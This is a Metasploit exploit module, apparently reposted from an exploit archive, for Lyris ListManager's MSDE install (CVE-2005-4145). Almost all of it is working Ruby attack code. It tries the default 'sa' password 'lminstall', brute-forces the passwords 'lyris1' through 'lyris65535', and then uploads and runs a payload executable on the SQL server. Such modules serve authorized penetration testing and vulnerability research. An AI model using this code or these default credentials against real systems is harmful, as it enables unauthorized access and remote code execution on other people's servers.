Lyris ListManager – MSDE Weak sa Password (Metasploit)
## # $Id: lyris_listmanager_weak_pass.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::MSSQL include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Lyris ListManager MSDE Weak sa Password', 'Description' => %q{ This module exploits a weak password vulnerability in the Lyris ListManager MSDE install. During installation, the 'sa' account password is set to 'lminstall'. Once the install completes, it is set to 'lyris' followed by the process ID of the installer. This module brute forces all possible process IDs that would be used by the installer. }, 'Author' => [ 'hdm' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10394 $', 'References' => [ [ 'CVE', '2005-4145'], [ 'OSVDB', '21559'], ], 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Dec 08 2005' )) end # Do not automatically run this module, it can lead to lockouts with SQL Server 2005 def autofilter false end def exploit # New installations use a randomly generated suffix like "lyris629dAe536F" pass = nil while(true) print_status("Trying to authenticate with password 'lminstall'...") if(mssql_login('sa', 'lminstall')) pass = 'lminstall' break end print_status("Trying to authenticate with passwords 'lyris1' to 'lyris65535'...") 1.upto(65535) do |pid| if(pid % 1000 == 0) print_status(" >> Completed #{pid} of 65535 authentication requests") end if(mssql_login('sa', "lyris#{pid}")) pass = "lyris#{pid}" break end end print_status("This system does not appear to be exploitable") return end print_status("") print_status("Sucessfully authenticated to #{rhost}:#{rport} with user 'sa' and password '#{pass}'") print_status("") exe = generate_payload_exe mssql_upload_exec(exe) handler disconnect end end |